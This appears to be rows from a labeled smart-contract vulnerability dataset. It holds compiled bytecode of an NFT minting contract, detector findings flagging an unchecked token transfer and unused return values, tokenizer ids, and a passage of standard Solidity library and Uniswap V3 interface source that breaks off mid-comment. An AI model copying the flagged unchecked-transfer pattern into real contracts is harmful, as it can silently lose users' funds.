c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610a9b565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146115c65760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b6115d060006125ce565b565b600a546001600160a01b0316331461161a5760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b6017805462ff0000198116620100009182900460ff1615909102179055565b600a546001600160a01b031633146116815760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b6040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156116e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170c91906135a4565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015611757573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f191906135bd565b600a546001600160a01b031633146117c35760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b60175460ff16156118165760405162461bcd60e51b815260206004820152601260248201527f4d65746164617461206973206c6f636b656400000000000000000000000000006044820152606401610a9b565b80516110f190600d9060208401906130b1565b6060600180546109a3906134eb565b600a546001600160a01b031633146118805760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b6017805460ff19166001179055565b6002600b5414156118e25760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610a9b565b6002600b5533600090815260136020526040902054601754610100900460ff1661194e5760405162461bcd60e51b815260206004820152601460248201527f5075626c69632073616c65206e6f74206c6976650000000000000000000000006044820152606401610a9b565b60115461195b838361353c565b11156119cf5760405162461bcd60e51b815260206004820152602560248201527f4578636565646564206d6178696d756d207075626c69632073616c652071756160448201527f6e746974790000000000000000000000000000000000000000000000000000006064820152608401610a9b565b600e54826119dc60085490565b6119e6919061353c565b1115611a345760405162461bcd60e51b815260206004820152600c60248201527f4f7574206f662073746f636b00000000000000000000000000000000000000006044820152606401610a9b565b3482601654611a439190613585565b14611a805760405162461bcd60e51b815260206004820152600d60248201526c496e76616c69642076616c756560981b6044820152606401610a9b565b60005b82811015611ac0576000611a9660085490565b611aa190600161353c565b9050611aad338261221a565b5080611ab881613554565b915050611a83565b50611acb828261353c565b3360009081526013602052604090205550506001600b55565b6001600160a01b038216331415611b3d5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610a9b565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314611bf15760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b601655565b600a546001600160a01b03163314611c3e5760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b6015546040516000916001600160a01b03169047908381818185875af1925050503d8060008114611c8b576040519150601f19603f3d011682016040523d82523d6000602084013e611c90565b606091505b5050905080610f895760405162461bcd60e51b815260206004820152601060248201527f5472616e73666572206661696c65642e000000000000000000000000000000006044820152606401610a9b565b600a546001600160a01b03163314611d295760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b600e548110611d7a5760405162461bcd60e51b815260206004820152601860248201527f796f752063616e206f6e6c7920646563726561736520697400000000000000006044820152606401610a9b565b600e55565b611d893383612234565b611dfb5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610a9b565b611e0784848484612620565b50505050565b600a546001600160a01b03163314611e555760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b6017805461ff001981166101009182900460ff1615909102179055565b6000818152600260205260409020546060906001600160a01b0316611eff5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610a9b565b600c611f0a8361269e565b604051602001611f1b9291906135f6565b6040516020818303038152906040529050919050565b600a546001600160a01b03163314611f795760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b601155565b600a546001600160a01b03163314611fc65760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b601055565b6060600d80546109a3906134eb565b600a546001600160a01b031633146120225760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b600a546001600160a01b0316331461208c5760405162461bcd60e51b815260206004820181905260248201526000805160206137a48339815191526044820152606401610a9b565b6001600160a01b0381166121085760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610a9b565b610f89816125ce565b60006001600160e01b031982167f80ac58cd00000000000000000000000000000000000000000000000000000000148061217457506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061095057507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b0319831614610950565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906121e1826110f5565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6110f18282604051806020016040528060008152506127d0565b6000818152600260205260408120546001600160a01b03166122ad5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a9b565b60006122b8836110f5565b9050806001600160a01b0316846001600160a01b031614806122f35750836001600160a01b03166122e884610a26565b6001600160a01b0316145b8061232357506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661233e826110f5565b6001600160a01b0316146123ba5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610a9b565b6001600160a01b0382166124355760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610a9b565b61244083838361284e565b61244b6000826121ac565b6001600160a01b03831660009081526003602052604081208054600192906124749084906136c9565b90915550506001600160a01b03821660009081526003602052604081208054600192906124a290849061353c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600061250e826110f5565b905061251c8160008461284e565b6125276000836121ac565b6001600160a01b03811660009081526003602052604081208054600192906125509084906136c9565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b60006125b68383612906565b6014546001600160a01b039182169116149392505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61262b84848461232b565b6126378484848461292a565b611e075760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610a9b565b6060816126de57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b811561270857806126f281613554565b91506127019050600a836136f6565b91506126e2565b60008167ffffffffffffffff811115612723576127236132d0565b6040519080825280601f01601f19166020018201604052801561274d576020820181803683370190505b5090505b8415612323576127626001836136c9565b915061276f600a8661370a565b61277a90603061353c565b60f81b81838151811061278f5761278f61356f565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506127c9600a866136f6565b9450612751565b6127da8383612a73565b6127e7600084848461292a565b610bed5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610a9b565b6001600160a01b0383166128a9576128a481600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6128cc565b816001600160a01b0316836001600160a01b0316146128cc576128cc8382612bc1565b6001600160a01b0382166128e357610bed81612c5e565b826001600160a01b0316826001600160a01b031614610bed57610bed8282612d0d565b60008060006129158585612d51565b9150915061292281612dc1565b509392505050565b60006001600160a01b0384163b15612a6857604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061296e90339089908890889060040161371e565b6020604051808303816000875af19250505080156129a9575060408051601f3d908101601f191682019092526129a69181019061375a565b60015b612a4e573d8080156129d7576040519150601f19603f3d011682016040523d82523d6000602084013e6129dc565b606091505b508051612a465760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b6064820152608401610a9b565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612323565b506001949350505050565b6001600160a01b038216612ac95760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610a9b565b6000818152600260205260409020546001600160a01b031615612b2e5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610a9b565b612b3a6000838361284e565b6001600160a01b0382166000908152600360205260408120805460019290612b6390849061353c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006001612bce846114e4565b612bd891906136c9565b600083815260076020526040902054909150808214612c2b576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090612c70906001906136c9565b60008381526009602052604081205460088054939450909284908110612c9857612c9861356f565b906000526020600020015490508060088381548110612cb957612cb961356f565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480612cf157612cf1613777565b6001900381819060005260206000200160009055905550505050565b6000612d18836114e4565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b600080825160411415612d885760208301516040840151606085015160001a612d7c87828585612f7c565b94509450505050612dba565b825160401415612db25760208301516040840151612da7868383613069565b935093505050612dba565b506000905060025b9250929050565b6000816004811115612dd557612dd561378d565b1415612dde5750565b6001816004811115612df257612df261378d565b1415612e405760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610a9b565b6002816004811115612e5457612e5461378d565b1415612ea25760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610a9b565b6003816004811115612eb657612eb661378d565b1415612f0f5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610a9b565b6004816004811115612f2357612f2361378d565b1415610f895760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610a9b565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115612fb35750600090506003613060565b8460ff16601b14158015612fcb57508460ff16601c14155b15612fdc5750600090506004613060565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015613030573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661305957600060019250925050613060565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831660ff84901c601b016130a387828885612f7c565b935093505050935093915050565b8280546130bd906134eb565b90600052602060002090601f0160209004810192826130df5760008555613125565b82601f106130f857805160ff1916838001178555613125565b82800160010185558215613125579182015b8281111561312557825182559160200191906001019061310a565b50613131929150613135565b5090565b5b808211156131315760008155600101613136565b60006020828403121561315c57600080fd5b5035919050565b6001600160e01b031981168114610f8957600080fd5b60006020828403121561318b57600080fd5b8135610f9881613163565b60005b838110156131b1578181015183820152602001613199565b83811115611e075750506000910152565b600081518084526131da816020860160208601613196565b601f01601f19169290920160200192915050565b602081526000610f9860208301846131c2565b6001600160a01b0381168114610f8957600080fd5b6000806040838503121561322957600080fd5b823561323481613201565b946020939093013593505050565b6000806040838503121561325557600080fd5b82359150602083013561326781613201565b809150509250929050565b60006020828403121561328457600080fd5b8135610f9881613201565b6000806000606084860312156132a457600080fd5b83356132af81613201565b925060208401356132bf81613201565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff80841115613301576133016132d0565b604051601f8501601f19908116603f01168101908282118183101715613329576133296132d0565b8160405280935085815286868601111561334257600080fd5b858560208301376000602087830101525050509392505050565b60006020828403121561336e57600080fd5b813567ffffffffffffffff81111561338557600080fd5b8201601f8101841361339657600080fd5b612323848235602084016132e6565b600082601f8301126133b657600080fd5b610f98838335602085016132e6565b6000806000606084860312156133da57600080fd5b83359250602084013567ffffffffffffffff8111156133f857600080fd5b613404868287016133a5565b925050604084013590509250925092565b8015158114610f8957600080fd5b6000806040838503121561343657600080fd5b823561344181613201565b9150602083013561326781613415565b6000806000806080858703121561346757600080fd5b843561347281613201565b9350602085013561348281613201565b925060408501359150606085013567ffffffffffffffff8111156134a557600080fd5b6134b1878288016133a5565b91505092959194509250565b600080604083850312156134d057600080fd5b82356134db81613201565b9150602083013561326781613201565b600181811c908216806134ff57607f821691505b6020821081141561352057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561354f5761354f613526565b500190565b600060001982141561356857613568613526565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600081600019048311821515161561359f5761359f613526565b500290565b6000602082840312156135b657600080fd5b5051919050565b6000602082840312156135cf57600080fd5b8151610f9881613415565b600081516135ec818560208601613196565b9290920192915050565b600080845481600182811c91508083168061361257607f831692505b602080841082141561363257634e487b7160e01b86526022600452602486fd5b818015613646576001811461365757613684565b60ff19861689528489019650613684565b60008b81526020902060005b8681101561367c5781548b820152908501908301613663565b505084890196505b5050505050506136c061369782866135da565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000815260050190565b95945050505050565b6000828210156136db576136db613526565b500390565b634e487b7160e01b600052601260045260246000fd5b600082613705576137056136e0565b500490565b600082613719576137196136e0565b500690565b60006001600160a01b0380871683528086166020840152508360408301526080606083015261375060808301846131c2565b9695505050505050565b60006020828403121561376c57600080fd5b8151610f9881613163565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fdfe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122097711e53ae4623aac38c536c902783489f0c01d88b47f10eae50c5981ef655a164736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 10354, 2620, 11387, 16932, 2094, 23777, 25746, 2546, 21619, 11387, 2683, 28154, 2692, 2683, 16086, 2094, 2620, 16048, 2692, 2546, 2475, 2094, 22932, 23499, 2063, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2184, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 29464, 11890, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,382
0x96b02776ae0ebb8deb33a75035fab5b5d6bbb43e
// SPDX-License-Identifier: MIT pragma solidity =0.7.6; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = ChainId.get(); _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (ChainId.get() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, ChainId.get(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.7.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "RC"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); } pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); } pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These 